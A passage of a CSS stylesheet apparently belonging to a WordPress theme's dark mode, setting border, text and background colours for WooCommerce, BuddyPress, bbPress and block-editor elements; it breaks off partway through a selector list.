body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description td,
body.pcdm-enable.pcdark-mode th,
body.pcdm-enable.pcdark-mode.woocommerce ul.cart_list li,
body.pcdm-enable.pcdark-mode.woocommerce ul.product_list_widget li,
body.pcdm-enable.pcdark-mode.woocommerce .widget_shopping_cart .total,
body.pcdm-enable.pcdark-mode.woocommerce.widget_shopping_cart .total,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-product-search input[type="search"],
body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li a,
body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li span,
body.pcdm-enable.pcdark-mode.woocommerce div.product .product_meta,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs ul.tabs,
body.pcdm-enable.pcdark-mode.woocommerce div.product .related > h2,
body.pcdm-enable.pcdark-mode.woocommerce div.product .upsells > h2,
body.pcdm-enable.pcdark-mode.woocommerce #reviews #comments ol.commentlist li .comment-text,
body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td,
body.pcdm-enable.pcdark-mode .post-entry td,
body.pcdm-enable.pcdark-mode .post-entry th,
body.pcdm-enable.pcdark-mode #add_payment_method .cart-collaterals .cart_totals tr td,
body.pcdm-enable.pcdark-mode #add_payment_method .cart-collaterals .cart_totals tr th,
body.pcdm-enable.pcdark-mode.woocommerce-cart .cart-collaterals .cart_totals tr td,
body.pcdm-enable.pcdark-mode.woocommerce-cart .cart-collaterals .cart_totals tr th,
body.pcdm-enable.pcdark-mode.woocommerce-checkout .cart-collaterals .cart_totals tr td,
body.pcdm-enable.pcdark-mode.woocommerce-checkout .cart-collaterals .cart_totals tr th,
body.pcdm-enable.pcdark-mode.woocommerce-cart .cart-collaterals .cart_totals table,
body.pcdm-enable.pcdark-mode.woocommerce-cart table.cart td.actions .coupon .input-text,
body.pcdm-enable.pcdark-mode.woocommerce table.shop_table a.remove,
body.pcdm-enable.pcdark-mode.woocommerce form .form-row .input-text,
body.pcdm-enable.pcdark-mode.woocommerce-page form .form-row .input-text,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-error,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-info,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-message,
body.pcdm-enable.pcdark-mode.woocommerce form.checkout_coupon,
body.pcdm-enable.pcdark-mode.woocommerce form.login,
body.pcdm-enable.pcdark-mode.woocommerce form.register,
body.pcdm-enable.pcdark-mode.woocommerce form.checkout table.shop_table,
body.pcdm-enable.pcdark-mode.woocommerce-checkout #payment ul.payment_methods,
body.pcdm-enable.pcdark-mode .post-entry table,
body.pcdm-enable.pcdark-mode .wrapper-penci-review,
body.pcdm-enable.pcdark-mode .penci-review-container.penci-review-count,
body.pcdm-enable.pcdark-mode #penci-demobar .style-toggle,
body.pcdm-enable.pcdark-mode #widget-area,
body.pcdm-enable.pcdark-mode .post-entry hr,
body.pcdm-enable.pcdark-mode .wpb_text_column hr,
body.pcdm-enable.pcdark-mode #buddypress .dir-search input[type=search],
body.pcdm-enable.pcdark-mode #buddypress .dir-search input[type=text],
body.pcdm-enable.pcdark-mode #buddypress .groups-members-search input[type=search],
body.pcdm-enable.pcdark-mode #buddypress .groups-members-search input[type=text],
body.pcdm-enable.pcdark-mode #buddypress ul.item-list,
body.pcdm-enable.pcdark-mode #buddypress .profile[role=main],
body.pcdm-enable.pcdark-mode #buddypress select,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links span,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links a,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pag-count,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links a:hover,
body.pcdm-enable.pcdark-mode #buddypress ul.item-list li,
body.pcdm-enable.pcdark-mode #buddypress table.forum tr td.label,
body.pcdm-enable.pcdark-mode #buddypress table.messages-notices tr td.label,
body.pcdm-enable.pcdark-mode #buddypress table.notifications tr td.label,
body.pcdm-enable.pcdark-mode #buddypress table.notifications-settings tr td.label,
body.pcdm-enable.pcdark-mode #buddypress table.profile-fields tr td.label,
body.pcdm-enable.pcdark-mode #buddypress table.wp-profile-fields tr td.label,
body.pcdm-enable.pcdark-mode #buddypress table.profile-fields:last-child,
body.pcdm-enable.pcdark-mode #buddypress form#whats-new-form textarea,
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=text],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=color],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=date],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=datetime],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=datetime-local],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=email],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=month],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=number],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=range],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=search],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=password],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=tel],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=time],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=url],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=week],
body.pcdm-enable.pcdark-mode .bp-avatar-nav ul,
body.pcdm-enable.pcdark-mode .bp-avatar-nav ul.avatar-nav-items li.current,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-footer,
body.pcdm-enable.pcdark-mode .bbp-pagination-links a,
body.pcdm-enable.pcdark-mode .bbp-pagination-links span.current,
body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links a:hover,
body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,
body.pcdm-enable.pcdark-mode #buddypress .standard-form select,
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=password],
body.pcdm-enable.pcdark-mode #buddypress .activity-list li.load-more a,
body.pcdm-enable.pcdark-mode #buddypress .activity-list li.load-newest a,
body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a,
body.pcdm-enable.pcdark-mode #buddypress div.generic-button a,
body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link,
body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-template-notice.info,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp-search-form #bbp_search,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-forums-list,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_topic_title,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_topic_tags,
body.pcdm-enable.pcdark-mode #bbpress-forums .wp-editor-container,
body.pcdm-enable.pcdark-mode .widget_display_stats dd,
body.pcdm-enable.pcdark-mode .widget_display_stats dt,
body.pcdm-enable.pcdark-mode div.bbp-forum-header,
body.pcdm-enable.pcdark-mode div.bbp-topic-header,
body.pcdm-enable.pcdark-mode div.bbp-reply-header,
body.pcdm-enable.pcdark-mode .widget input[type="text"],
body.pcdm-enable.pcdark-mode .widget input[type="email"],
body.pcdm-enable.pcdark-mode .widget input[type="date"],
body.pcdm-enable.pcdark-mode .widget input[type="number"],
body.pcdm-enable.pcdark-mode .widget input[type="search"],
body.pcdm-enable.pcdark-mode .widget input[type="password"],
body.pcdm-enable.pcdark-mode blockquote.wp-block-quote,
body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote,
body.pcdm-enable.pcdark-mode .wp-block-quote:not(.is-large):not(.is-style-large),
body.pcdm-enable.pcdark-mode .post-entry pre,
body.pcdm-enable.pcdark-mode .wp-block-pullquote:not(.is-style-solid-color),
body.pcdm-enable.pcdark-mode .post-entry hr.wp-block-separator,
body.pcdm-enable.pcdark-mode .wp-block-separator,
body.pcdm-enable.pcdark-mode .wp-block-latest-posts,
body.pcdm-enable.pcdark-mode .wp-block-yoast-how-to-block ol.schema-how-to-steps,
body.pcdm-enable.pcdark-mode .wp-block-yoast-how-to-block ol.schema-how-to-steps li,
body.pcdm-enable.pcdark-mode .wp-block-yoast-faq-block .schema-faq-section,
body.pcdm-enable.pcdark-mode .post-entry .wp-block-quote,
body.pcdm-enable.pcdark-mode .wpb_text_column .wp-block-quote,
body.pcdm-enable.pcdark-mode.woocommerce .page-description .wp-block-quote,
body.pcdm-enable.pcdark-mode .wp-block-search .wp-block-search__input {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-recipe-index-wrap h4.recipe-index-heading > span:before,
body.pcdm-enable.pcdark-mode .penci-recipe-index-wrap h4.recipe-index-heading > span:after {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box .single-comment-o:after,
body.pcdm-enable.pcdark-mode .post-share a.penci-post-like:after {
    background-color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid .list-post.list-boxed-post {
    border-color: var(--pcborder-cl) !important;
}
body.pcdm-enable.pcdark-mode .penci-post-box-meta.penci-post-box-grid:before,
body.pcdm-enable.pcdark-mode .woocommerce .widget_price_filter .ui-slider .ui-slider-range {
    background-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts {
    border-color: var(--pcborder-cl) !important;
    color: #999999 !important;
}
body.pcdm-enable.pcdark-mode .penci-vernav-enable .penci-menu-hbg {
    box-shadow: none;
    -webkit-box-shadow: none;
    -moz-box-shadow: none;
}
body.pcdm-enable.pcdark-mode .penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg {
    border-right: 1px solid var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg {
    border-left: 1px solid var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode form.pc-searchform input.search-input {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode.pchds-overlay form.pc-searchform input.search-input {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode,
body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-post-share-box a,
body.pcdm-enable.pcdark-mode .penci-pagination a,
body.pcdm-enable.pcdark-mode .penci-pagination .disable-url,
body.pcdm-enable.pcdark-mode .widget-social a i,
body.pcdm-enable.pcdark-mode .post-share a,
body.pcdm-enable.pcdark-mode #respond textarea,
body.pcdm-enable.pcdark-mode .wpcf7 textarea,
body.pcdm-enable.pcdark-mode #respond input,
body.pcdm-enable.pcdark-mode .wpcf7 input,
body.pcdm-enable.pcdark-mode .widget_wysija input,
body.pcdm-enable.pcdark-mode #respond h3 small a,
body.pcdm-enable.pcdark-mode #respond h3 small a:hover,
body.pcdm-enable.pcdark-mode .post-comments span.reply a,
body.pcdm-enable.pcdark-mode .post-comments span.reply a:hover,
body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author,
body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author a,
body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span,
body.pcdm-enable.pcdark-mode .post-box-title,
body.pcdm-enable.pcdark-mode .post-pagination a,
body.pcdm-enable.pcdark-mode .post-pagination span,
body.pcdm-enable.pcdark-mode .author-content .author-social,
body.pcdm-enable.pcdark-mode .author-content h5 a,
body.pcdm-enable.pcdark-mode .error-404 .sub-heading-text-404,
body.pcdm-enable.pcdark-mode form.pc-searchform input.search-input,
body.pcdm-enable.pcdark-mode input,
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span,
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a,
body.pcdm-enable.pcdark-mode #comments_pagination span,
body.pcdm-enable.pcdark-mode #comments_pagination a,
body.pcdm-enable.pcdark-mode .item-related h3 a,
body.pcdm-enable.pcdark-mode .archive-box span,
body.pcdm-enable.pcdark-mode .archive-box h1,
body.pcdm-enable.pcdark-mode .header-standard .author-post span a,
body.pcdm-enable.pcdark-mode .post-entry h1,
body.pcdm-enable.pcdark-mode .post-entry h2,
body.pcdm-enable.pcdark-mode .post-entry h3,
body.pcdm-enable.pcdark-mode .post-entry h4,
body.pcdm-enable.pcdark-mode .post-entry h5,
body.pcdm-enable.pcdark-mode .post-entry h6,
body.pcdm-enable.pcdark-mode .wpb_text_column h1,
body.pcdm-enable.pcdark-mode .wpb_text_column h2,
body.pcdm-enable.pcdark-mode .wpb_text_column h3,
body.pcdm-enable.pcdark-mode .wpb_text_column h4,
body.pcdm-enable.pcdark-mode .wpb_text_column h5,
body.pcdm-enable.pcdark-mode .wpb_text_column h6,
body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share .share-title,
body.pcdm-enable.pcdark-mode .about-widget .about-me-heading,
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-text,
body.pcdm-enable.pcdark-mode .widget select,
body.pcdm-enable.pcdark-mode .widget ul li,
body.pcdm-enable.pcdark-mode .widget .tagcloud a,
body.pcdm-enable.pcdark-mode #wp-calendar caption,
body.pcdm-enable.pcdark-mode.woocommerce .page-title,
body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product h3,
body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .woocommerce-loop-product__title,
body.pcdm-enable.pcdark-mode.woocommerce .widget_price_filter .price_label,
body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-product-search input[type="search"],
body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li a,
body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li span,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h1,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h2,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h3,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h4,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h5,
body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h6,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h1,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h2,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h3,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h4,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h5,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h6,
body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h1,
body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h2,
body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h3,
body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h4,
body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h5,
body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h6,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel > h2:first-child,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title,
body.pcdm-enable.pcdark-mode.woocommerce div.product .related > h2,
body.pcdm-enable.pcdark-mode.woocommerce div.product .upsells > h2,
body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs ul.tabs li a,
body.pcdm-enable.pcdark-mode.woocommerce .comment-form p.stars a,
body.pcdm-enable.pcdark-mode.woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong,
body.pcdm-enable.pcdark-mode .penci-page-header h1,
body.pcdm-enable.pcdark-mode.woocommerce table.shop_table a.remove,
body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td.product-name a,
body.pcdm-enable.pcdark-mode.woocommerce table.shop_table th,
body.pcdm-enable.pcdark-mode.woocommerce form .form-row .input-text,
body.pcdm-enable.pcdark-mode .woocommerce-page form .form-row .input-text,
body.pcdm-enable.pcdark-mode .demobar-title,
body.pcdm-enable.pcdark-mode .demobar-desc,
body.pcdm-enable.pcdark-mode .container-single .post-share a,
body.pcdm-enable.pcdark-mode .page-share .post-share a,
body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title,
body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li a,
body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li a,
body.pcdm-enable.pcdark-mode .widget-social.show-text a span,
body.pcdm-enable.pcdark-mode #buddypress select,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links a:hover,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links span,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links a,
body.pcdm-enable.pcdark-mode #buddypress div.pagination .pag-count,
body.pcdm-enable.pcdark-mode #buddypress ul.item-list li div.item-title span,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a,
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li > span,
body.pcdm-enable.pcdark-mode #buddypress div#item-header div#item-meta,
body.pcdm-enable.pcdark-mode #buddypress form#whats-new-form textarea,
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=text],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=color],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=date],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=datetime],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=datetime-local],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=email],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=month],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=number],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=range],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=search],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=password],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=tel],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=time],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=url],
body.pcdm-enable.pcdark-mode #buddypress .standard-form input[type=week],
body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a,
body.pcdm-enable.pcdark-mode #buddypress div.generic-button a,
body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link,
body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links a,
body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links a:hover,
body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,
body.pcdm-enable.pcdark-mode #buddypress .activity-list li.load-more a,
body.pcdm-enable.pcdark-mode #buddypress .activity-list li.load-newest a,
body.pcdm-enable.pcdark-mode .activity-inner,
body.pcdm-enable.pcdark-mode #buddypress a.activity-time-since,
body.pcdm-enable.pcdark-mode .activity-greeting,
body.pcdm-enable.pcdark-mode div.bbp-template-notice,
body.pcdm-enable.pcdark-mode div.indicator-hint,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-topic-count,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-reply-count,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness a,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-forum-topic-count,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-voice-count,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-forum-reply-count,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness > a,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-reply-count,
body.pcdm-enable.pcdark-mode div.bbp-template-notice a,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp-search-form #bbp_search,
body.pcdm-enable.pcdark-mode #bbpress-forums .wp-editor-container,
body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content,
body.pcdm-enable.pcdark-mode .widget_display_stats dd,
body.pcdm-enable.pcdark-mode #bbpress-forums fieldset.bbp-form legend,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-pagination-count,
body.pcdm-enable.pcdark-mode span.bbp-admin-links a,
body.pcdm-enable.pcdark-mode .bbp-forum-header a.bbp-forum-permalink,
body.pcdm-enable.pcdark-mode .bbp-topic-header a.bbp-topic-permalink,
body.pcdm-enable.pcdark-mode .bbp-reply-header a.bbp-reply-permalink,
body.pcdm-enable.pcdark-mode #bbpress-forums .status-closed,
body.pcdm-enable.pcdark-mode #bbpress-forums .status-closed a,
body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote p,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote.wp-block-quote p,
body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote cite,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote.wp-block-quote cite,
body.pcdm-enable.pcdark-mode .post-entry code,
body.pcdm-enable.pcdark-mode .wp-block-video figcaption,
body.pcdm-enable.pcdark-mode .post-entry .wp-block-pullquote blockquote p,
body.pcdm-enable.pcdark-mode .post-entry .wp-block-pullquote blockquote cite,
body.pcdm-enable.pcdark-mode .wp-block-categories .category-item-count {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce .widget_price_filter .ui-slider .ui-slider-handle,
body.pcdm-enable.pcdark-mode .header-standard.standard-overlay-meta,
body.pcdm-enable.pcdark-mode .post-entry .wp-block-file a.wp-block-file__button {
    background-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider .penci-owl-dot span {
    background-color: var(--pcbg-cl);
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta,
body.pcdm-enable.pcdark-mode .grid-post-box-meta span a,
body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta span,
body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta a,
body.pcdm-enable.pcdark-mode .header-standard .author-post span,
body.pcdm-enable.pcdark-mode .thecomment .comment-text span.date,
body.pcdm-enable.pcdark-mode .item-related span.date,
body.pcdm-enable.pcdark-mode .post-box-meta-single span,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb i,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb i,
body.pcdm-enable.pcdark-mode .woocommerce #reviews #comments ol.commentlist li .comment-text .meta,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content,
body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-breadcrumb a,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-current,
body.pcdm-enable.pcdark-mode .bbp-breadcrumb .bbp-breadcrumb-sep,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-topic-started-by,
body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-topic-started-in {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-review-process {
    background-color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .wp-block-file a.wp-block-file__button {
    color: var(--pctext-cl);
}
.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts {
    color: var(--pctext-cl) !important;
    border-color: var(--pcborder-cl) !important;
}
.pcdark-mode .widget ul.side-newsfeed li .number-post {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,
body.pcdm-enable.pcdark-mode #respond #submit,
body.pcdm-enable.pcdark-mode .wpcf7 input[type="submit"],
body.pcdm-enable.pcdark-mode .widget_wysija input[type="submit"],
body.pcdm-enable.pcdark-mode .widget input[type="submit"],
body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a,
body.pcdm-enable.pcdark-mode .penci-button,
body.pcdm-enable.pcdark-mode .widget button[type="submit"],
body.pcdm-enable.pcdark-mode .woocommerce #respond input#submit,
body.pcdm-enable.pcdark-mode .woocommerce a.button,
body.pcdm-enable.pcdark-mode .woocommerce button.button,
body.pcdm-enable.pcdark-mode .woocommerce input.button,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_reply_submit,
body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_topic_submit,
body.pcdm-enable.pcdark-mode #main .bbp-login-form .bbp-submit-wrapper button[type="submit"] {
    background: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .woocommerce .penci-extra-buttons > .button {
    background: transparent;
}
body.pcdm-enable.pcdark-mode #wp-calendar tbody td,
body.pcdm-enable.pcdark-mode #wp-calendar tbody td:hover {
    background: none;
}
body.pcdm-enable.pcdark-mode .woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode #navigation {
    border-color: var(--pcbg-l-cl);
    background-color: #000;
    transition: none;
}
body.pcdm-enable.pcdark-mode .is-sticky #navigation {
    box-shadow: 0 1px 5px rgba(255, 255, 255, 0.08);
    -webkit-box-shadow: 0 1px 5px rgba(255, 255, 255, 0.08);
    -moz-box-shadow: 0 1px 5px rgba(255, 255, 255, 0.08);
}
body.pcdm-enable.pcdark-mode .navigation .menu .sub-menu,
body.pcdm-enable.pcdark-mode #navigation .menu .children,
body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu,
body.pcdm-enable.pcdark-mode #navigation .menu .children,
body.pcdm-enable.pcdark-mode .penci-dropdown-menu {
    box-shadow: 0 0 6px rgba(255, 255, 255, 0.1);
    -webkit-box-shadow: 0 0 6px rgba(255, 255, 255, 0.1);
    -moz-box-shadow: 0 0 6px rgba(255, 255, 255, 0.1);
}
body.pcdm-enable.pcdark-mode .penci-image-holder:not([style*='background-image']),
body.pcdm-enable.pcdark-mode .penci-lazy[src*="penci-holder"],
body.pcdm-enable.pcdark-mode .penci-holder-load:not([style*='background-image']) {
    background-color: #333333;
    background-image: linear-gradient(to left, #333333 0%, #383838 15%, #333333 40%, #333333 100%);
}
body.pcdm-enable.pcdark-mode #penci-demobar .style-toggle,
body.pcdm-enable.pcdark-mode #penci-demobar {
    box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
    -webkit-box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
    -moz-box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
}
body.pcdm-enable.pcdark-mode .post-entry.blockquote-style-2 blockquote,
body.pcdm-enable.pcdark-mode .wp-block-quote.is-style-large,
body.pcdm-enable.pcdark-mode .wp-block-quote.is-large {
    background: #2b2b2b;
}
body.pcdm-enable.pcdark-mode .post-entry pre,
body.pcdm-enable.pcdark-mode .post-entry code,
body.pcdm-enable.pcdark-mode .wp-block-table.is-style-stripes tr:nth-child(odd),
body.pcdm-enable.pcdark-mode .post-entry pre.wp-block-verse,
body.pcdm-enable.pcdark-mode .post-entry .wp-block-verse pre,
body.pcdm-enable.pcdark-mode .wp-block-pullquote.is-style-solid-color {
    background-color: #333333;
}
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a:hover,
body.pcdm-enable.pcdark-mode #comments_pagination a:hover,
body.pcdm-enable.pcdark-mode .woocommerce nav.woocommerce-pagination ul li a:hover {
    color: #dedede;
    border-color: #777777;
}
body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs,
body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link,
body.pcdm-enable.pcdark-mode #buddypress .generic-button a,
body.pcdm-enable.pcdark-mode #buddypress .standard-form button,
body.pcdm-enable.pcdark-mode #buddypress a.button,
body.pcdm-enable.pcdark-mode #buddypress input[type=button],
